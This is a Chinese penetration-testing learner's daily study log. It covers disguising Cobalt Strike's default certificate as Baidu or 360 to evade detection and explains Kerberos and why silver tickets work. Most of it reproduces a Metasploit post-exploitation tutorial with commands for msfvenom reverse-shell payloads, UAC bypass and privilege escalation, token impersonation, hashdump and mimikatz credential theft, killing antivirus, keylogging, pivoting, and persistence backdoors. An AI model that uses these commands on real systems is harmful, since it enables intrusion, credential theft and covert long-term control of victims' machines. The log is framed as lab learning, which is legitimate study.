2022/1/4
今日小结:
1.阅读文章
2.cs证书替换成标准PKCS12证书格式
3.学习kerberos协议
4.复现文章超实用!手把手教你如何用MSF进行后渗透测试!
part1.阅读文章
part2.cs证书替换成标准PKCS12证书格式
CS文件结构分析1 文件夹结构- cobaltstrike.auth # 客户端授权文件
- cobaltstrike.jar # cs主程序文件
- cobaltstrike.store # 证书文件
- teamserver #服务器启动文件
- 其他:破解文件、汉化文件、第三方插件(常见是cna文件,sleep语言(基于java))等等
复制代码
2 服务器端和客户端启动2.1 服务器端启动文件服务器端的启动文件 ,如linux文件下,使用的是shell语言 openjdk(linux中的java版本) 1)从该文件中我们可以发现启动服务器端的必须是管理员权限的用户,即root: - # check that we're r00t
- if [ $UID -ne 0 ]; then
- print_error "Superuser privileges are required to run the team server"
- exit
- fi
复制代码2)必须搭建java环境 - # check if java is available...
- if [ $(command -v java) ]; then
- true
- else
- print_error "java is not in \$PATH"
- echo " is Java installed?"
- exit
- fi
复制代码
3)keytools必须可以使用 Keytool 是一个 Java 数据证书的管理工具 ,Keytool 将密钥(key)和证书(certificates)存在一个称为keystore的文件中 在keystore里,包含两种数据:
密钥实体(Key entity)——密钥(secret key)又或者是私钥和配对公钥(采用非对称加密)
可信任的证书实体(trusted certificate entries)——只包含公钥 - # check if keytool is available...
- if [ $(command -v keytool) ]; then
- true
- else
- print_error "keytool is not in \$PATH"
- echo " install the Java Developer Kit"
- exit
- fi
复制代码4)生成证书 - # generate a certificate
- # naturally you're welcome to replace this step with your own permanent certificate.
- # just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
- # -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
- # an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
- # is printed so users may have a chance to verify they're not being owned.
- if [ -e ./cobaltstrike.store ]; then
- print_info "Will use existing X509 certificate and keystore (for SSL)"
- else
- print_info "Generating X509 certificate and keystore (for SSL)"
- keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
- fi
复制代码
生成证书里,最重要的就是最后一句话,我们主要分析一下: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"-keystore 密钥库名称(存储密钥的地方) -storepass 密钥库的密码 -keypass 密钥口令 -genkey 在用户主目录中创建一个默认文件".keystore",还会产生一个mykey的别名,mykey中包含用户的公钥、私钥和证书 -keyalg 密钥算法名称 -alias 别名 -dname 指定证书拥有者信息 例如: "CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名称,ST=州或省份名称,C=单位的两字母国家代码" 5)启动服务 - # start the team server.
- java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
复制代码 该指令参考:
- 指令 一 一 拆解
- # 配置并行收集器的线程数,即:同时多少个线程一起进行垃圾回收。此值最好配置与处理器 数目相等。
- -XX:ParallelGCThreads=4
- #cobaltstrike自带的参数
- -Dcobaltstrike.server_port=50050
- -Djavax.net.ssl.keyStore=./cobaltstrike.store
- -Djavax.net.ssl.keyStorePassword=123456
- # 选择Hotspot Server JVM,64位jdk只支持server VM.这个参数是隐含的,即默认设置
- ‐server
- # 启用java堆优化,基于RAM和CPU的配置通过设置各种参数使其跟适合带有密集分配内存的长 时间任务的分配,默认关闭的
- -XX:+AggressiveHeap
- # 配置年老代垃圾收集方式为并行收集。JDK6.0支持对年老代并行收集。
- -XX:+UseParallelGC
- # 指定server.TeamServer函数加载的文件路径,即当前目录下的cobaltstrike.jar文件, 完成CS服务端的启动
- -classpath ./cobaltstrike.jar server.TeamServer $*
复制代码
2.2客户端启动文件java -XXarallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar指令拆解
- # 配置并行收集器的线程数,即:同时多少个线程一起进行垃圾回收。此值最好配置与处理器 数目相等。
- -XX:ParallelGCThreads=4
- # 启用java堆优化,基于RAM和CPU的配置通过设置各种参数使其跟适合带有密集分配内存的长 时间任务的分配,默认关闭的
- -XX:+AggressiveHeap
- # 配置年老代垃圾收集方式为并行收集。JDK6.0支持对年老代并行收集。
- -XX:+UseParallelGC
- #设置JVM促使内存为512Mm。此值可以设置与‐Xmx相同,以避免每次垃圾回收完成后JVM重新 分配内存。
- -Xms512M
- # 设置JVM最大可用内存为1024M。
- -Xmx1024M
- # 启动该文件
- ‐jar cobaltstrike.jar
复制代码
3、生成自己的证书文件3.1 生成新的证书Cobalt Strike 服务端和客户端是通过 SSL 加密通讯的,由于SSL配置文件和代理配置文件由于默认配置导致keystore文件内容通常被用于防火墙识别。 以windows为例做今天的测试,使用jdk自带的keytool生成证书 对于windows而言, 在JDK 1.4以后的版本中都包含了keytool这一工具,它的位置为<JAVA_HOME>\bin\keytool.exe。
查看cs下的默认证书,默认密码是123456 - D:\信安学习\练习\cobaltstrike4.0(windows-teamserver_暗桩修复_x64+vnc修复_汉化终极版本_J0o1ey_version)>keytool -list -v -keystore cobaltstrike.store
- 输入密钥库口令:
- 密钥库类型: jks
- 密钥库提供方: SUN
- 您的密钥库包含 1 个条目
- 别名: cobaltstrike
- 创建日期: 2019-3-17
- 条目类型: PrivateKeyEntry
- 证书链长度: 1
- 证书[1]:
- 所有者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
- 发布者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
- 序列号: 48c38a7f
- 有效期为 Sun Mar 17 01:39:31 CST 2019 至 Sat Jun 15 01:39:31 CST 2019
- 证书指纹:
- MD5: B7:3C:19:37:9B:C7:F6:17:2B:B3:2C:4F:07:C2:8B:9B
- SHA1: 59:C8:D6:0F:0F:4B:6B:61:AD:DE:CF:3B:D3:B2:9B:72:E9:1A:31:6C
- SHA256: 7B:49:FC:58:9E:7E:73:8E:34:57:85:9D:26:99:96:EC:EF:83:F6:93:57:0B:0A:C4:82:C4:26:B1:FA:04:BD:73
- 签名算法名称: SHA256withRSA
- 主体公共密钥算法: 2048 位 RSA 密钥
- 版本: 3
- 扩展:
- #1: ObjectId: 2.5.29.14 Criticality=false
- SubjectKeyIdentifier [
- KeyIdentifier [
- 0000: 7E 80 01 F2 F6 C1 53 51 89 52 36 55 BB 92 D9 99 ......SQ.R6U....
- 0010: A1 C2 39 10 ..9.
- ]
- ]
- *******************************************
- *******************************************
- Warning:
- JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12" 迁移到行业 标准格式 PKCS12。
复制代码
生成新的证书,使用keytool生成证书的命令格式如下: - keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname “CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)”
复制代码
这里可以将-dname(证书拥有者信息)改成360或者百度的- 360
- keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
- baidu
- keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
复制代码 这里的storepass参数不能修改,只能是123456,-alias参数是别名,我们不使用cobaltstrike以消除特征,-dname修改为百度的信息。- keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
复制代码
可以继续使用命令 keytool -list -v -keystore cobaltstrike.store 查看新生成的证书信息。 3.2 生成标准格式PKCS12的证书- 方法一:
- 已经生成一个非pkcs12格式的证书,将此证书通过如下命令载入
- keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12
- 方法二:
- 直接生成PKCS12证书
- keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN" -storetype PKCS12
复制代码
查看修改后的的内容,证书修改为了标准格式PKCS12
接下来可以成功启动cs的服务端和客户端:
小结:上面可能说的不够清晰,其实将cs默认证书修改成标准格式PKCS12的证书有两种方法:
- 方法一:
- 1. 修改原始证书
- keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
- 2. 从之前创建的证书导入到新证书里 ,新证书的类型是pkcs12格式
- keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12
复制代码
- 方法二:直接生成pkcs12格式证书
- keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias testokcs -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN" -storetype PKCS12
复制代码
part 3-kerberos协议
Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。 为了更轻松地理解后文对认证原理的讲解,需要先了解以下几个关键角色: 角色 | 作用 | Domain Controller | 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理。 | Key Distribution Center | 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGS。 | Authentication Service | 身份验证服务,简称AS,用于KDC对Client认证。 | Ticket Grantng Service | 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)。 | Active Directory | 活动目录,简称AD,用于存储用户、用户组、域相关的信息。 | Client | 客户端,指用户。 | Server | 服务端,可能是某台计算机,也可能是某个服务。 |
打个比方:当 lisa 要和 bunny 进行通信的时候,lisa 就需要向 bunny 证明自己是lisa,直接的方式就是 lisa 用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给 bunny,bunny 再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明对方是lisa。 但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即 KDC(Key Distribution Center)秘钥分发中心。 1.2 kerberos认证原理首先用一张图大致来展示kerberos认证过程:
- 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信。
- 认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket Granting Ticket)。
- Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限。
- 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(Service Ticket)。
- Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server 有效。
- 最终 Server 和 Client 建立通信。
1.3 Kerveros 认证的三个阶段详细的认证步骤,大概分为三个阶段: - AS_REQ & AS_REP
- TGS_REQ & TGS_REP
AS_REQ & AS_REP该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT 认购权证。
当域内某个客户端用户 Client 视图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。 当 Client 发送身份信息给 AS 后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 KGS 之间的通信安全。 还有一部分内容就是 TGT:使用 KDC 一个特定账户的 NTLM-Hash 对 Session-key AS、时间戳、Client-info 进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即AS_REP。PAC 中包含的是用户的 SID、用户所在的组等一些信息。 AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。 至此,kerberos认证的第一步完成。 TGS_REQ & TGS_REP该阶段是 Client 和 TGS 的认证,通过认证的客户端将获得 ST 服务票据。
客户端 Client 收到 AS 的回复AS_REP后分别获得了 TGT 和加密的 Session-Key AS。它会先用自己的 Client NTLM-hash 解密得到原始的 Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。 此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ。 TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client 信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server,如果都没有问题,认证成功。认证成功后,KGS 会生成一个 Session-key TGS,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。 另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及 Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client,即TGS_REP。 至此,Client 和 KDC 的通信就结束了,然后是和 Server 进行通信。 AP-REQ & AP-REP该阶段是 Client 和 TGS 的认证,通过认证的客户端将与服务器建立连接。
客户端 Client 收到TGS_REP后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。 Server 收到AP_REQ请求后,用自身的 Server NTLM-Hash 解密了 ST,得到 Session-Key TGS,再解密出Client-info、时间戳等数据。然后与 ST 的Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为8小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的AP-REP并与 Client 建立通信。 至此,Kerberos 认证流程基本结束。
1.4 PAC(解决 what can i do 的问题)我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC(Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。 在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决 "What can I do?" 的问题。 为了解决上面的这个问题,微软引进了PAC。即 KDC 向客户端 Client 返回AS_REP时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的AP_REQ请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。 但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功,但是有些服务不去验证 PAC,这是白银票据成功的前提。 part4-文章复现
文章目录:
在复现过程中,八和九没有成功,出现了一些问题,明天在找找问题,试一试
在对目标进行渗透测试的时候,通常情况下,我们首先获得的是一台web服务器的webshell或者反弹shell,如果权限比较低,则需要进行权限提升;后续需要对系统进行全面的分析,搞清楚系统的用途;如果目标处于一个内网环境中,那么我们就需要通过它对内网的其它终端进行信息收集和渗透测试,更全面地挖掘系统中存在的安全隐患。 本期安仔课堂,ISEC实验室的向老师为大家介绍如何使用MSF进行后渗透测试。 一、获取Meterpreter会话Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。 1.直接获取 (1) 使用msfvenom生成payload 常用命令: msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.148 lport=4444 -f exe -o shell1.exe(2)本地监听 监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。 msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcppayload => windows/x64/meterpreter_reverse_tcpmsf5 exploit(multi/handler) > set lhost 0.0.0.0lhost => 0.0.0.0msf5 exploit(multi/handler) > set lport 4444lport => 4444msf5 exploit(multi/handler) > run(3)获得会话 将生成的exe文件或者其它类型的payload文件在目标上执行,就可以获得一个meterpreter会话,之后就可以使用msf开展后渗透测试的相关工作。
2.cmdshell升级为meterpreter 如果最开始获取的是cmdshell,后来发现这台机器非常适合作为测试其它终端的跳板,这个时候cmdshell的功能已经不能满足需要,升级成meterpreter就十分有必要。 (1)以ms17-010的利用为例,默认使用的payload返回的就是cmdshell
(2)若是将cmdshell升级成meterpreter 使用命令:sessions -u cmdshell的ideg: sessions -u 1
二、提权通常webshell的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更高的权限。 1.绕过UAC 用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。 msf提供了如下几个模块帮助绕过UAC:
以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使用方法基本一致。 (1)首先需要在meterpreter下执行background命令让当前会话保存到后台。 (2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。
(3)使用use exploit/windows/local/bypassuac_eventvwr命令进入该模块,使用show options查看需要设置的参数。 (4)将参数session设置为2,直接运行exploit或者run命令,执行成功之后会返回一个新的meterpreter会话。
(5)使用getuid命令查看当前用户,此时仍然是普通用户,再使用getsystem命令就可以提升到system权限了。
2.利用系统漏洞提权 无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。 (1)使用search 补丁号进行搜索,就可以找到相关模块,以ms13-081为例。 (2)使用use exploit/windows/local/ms13_081_track_popup_menu命令进入该模块,使用show options命令查看需要设置的参数。 (3)使用set session 1命令设置后台的meterpreter会话id,再使用run命令运行,获取的就是SYSTEM权限。
三、进程迁移当meterpreter单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化。 1.查看当前会话的进程id 命令:getpid
2.查看目标运行的进程 命令:ps
3.绑定进程 migrate pid
四、令牌假冒在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。 msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。 1.查看当前用户 getuid 2.使用use incognito命令进入该模块
3.查看存在的令牌 命令:list_tokens-u
4.令牌假冒 命令:impersonate_token用户名 注意用户名的斜杠需要写两个。
5.查看是否成功切换身份 getuid
五、获取凭证在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。 - 使用meterpreter的run hashdump命令。
2. 使用load mimikatz加载mimikatz模块,再使用help mimikatz查看支持的命令。
可以参考这两篇文章,了解msf中mimikatz各个模块的使用 - 使用wdigest命令获取登录过的用户储存在内存里的明文密码。
六、操作文件系统1.文件的基本操作 ls:列出当前路径下的所有文件和文件夹。 pwd 或 getwd:查看当前路径。 search:搜索文件,使用search -h查看帮助。 cat:查看文件内容,比如cat test.txt。 edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。 rm:删除文件。 cd:切换路径。 mkdir:创建文件夹。 rmdir:删除文件夹。 getlwd 或 lpwd:查看自己系统的当前路径。 lcd:切换自己当前系统的目录。 lls:显示自己当前系统的所有文件和文件夹。 2.文件的上传和下载 (1) upload 格式:upload 本地文件路径 目标文件路径 (2)download 格式:download 目标文件路径 本地文件路径
七、系统其他操作1.关闭防病毒软件 run killav run post/windows/manage/killav 2.操作远程桌面 run post/windows/manage/enable_rdp开启远程桌面 run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组) 3.截屏 screenshot 4.键盘记录 keyscan_start:开启键盘记录功能 keyscan_dump:显示捕捉到的键盘记录信息 keyscan_stop:停止键盘记录功能 5.执行程序 execute -h 查看使用方法 -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程 例:execute -f c:/temp/hello.exe
八、端口转发和内网代理1.portfwd portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
常用参数: -l:本地监听端口 -r:内网目标的ip -p:内网目标的端口 portfwd add -l 7777 -r 192.168.1.146 -p 3389#将 192.168.1.146的3389端口转发到本地的7777端口2.pivot pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。 (1)首先需要在msf的操作界面下添加一个路由表。 添加命令:route add 内网ip 子网掩码 session的id 打印命令:route print
九、后门Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。 Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。 1.metsvc (1) 使用run metsvc -h查看帮助,一共有三个参数。 -A:安装后门后,自动启动exploit/multi/handler模块连接后门 -h:查看帮助 -r:删除后门 (2) 安装后门 命令:run metsvc
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
(3) 连接后门 使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
刚一连上去就断掉了! metsvc 但是这种方式隐蔽性差,在任务管理器中就可以查看出来,如果用户结束这个进程,那么就失效了
2.persistence
(1) 使用run persistence -h查看参数。 -A:安装后门后,自动启动exploit/multi/handler模块连接后门 -L:自启动脚本的路径,默认为%TEMP% -P:需要使用的payload,默认为windows/meterpreter/reverse_tcp -S:作为一个服务在系统启动时运行(需要SYSTEM权限) -T:要使用的备用可执行模板 -U:用户登陆时运行 -X:系统启动时运行 -i:后门每隔多少秒尝试连接服务端 -p:服务端监听的端口 -r:服务端ip (2) 生成后门 命令:run persistence -X -i 10 -r 192.168.1.146 -p 4444
可以看到在C:\WINDOWS\TEMP目录下写了一个vb脚本(NvrLvHLSgtpD.vbs),添加了注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\qirxFOzbggqDYVw,去靶机中查看
(3) 连接后门 使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。 然后重启靶机,能够直接连上 (我这里还是没有连上)
|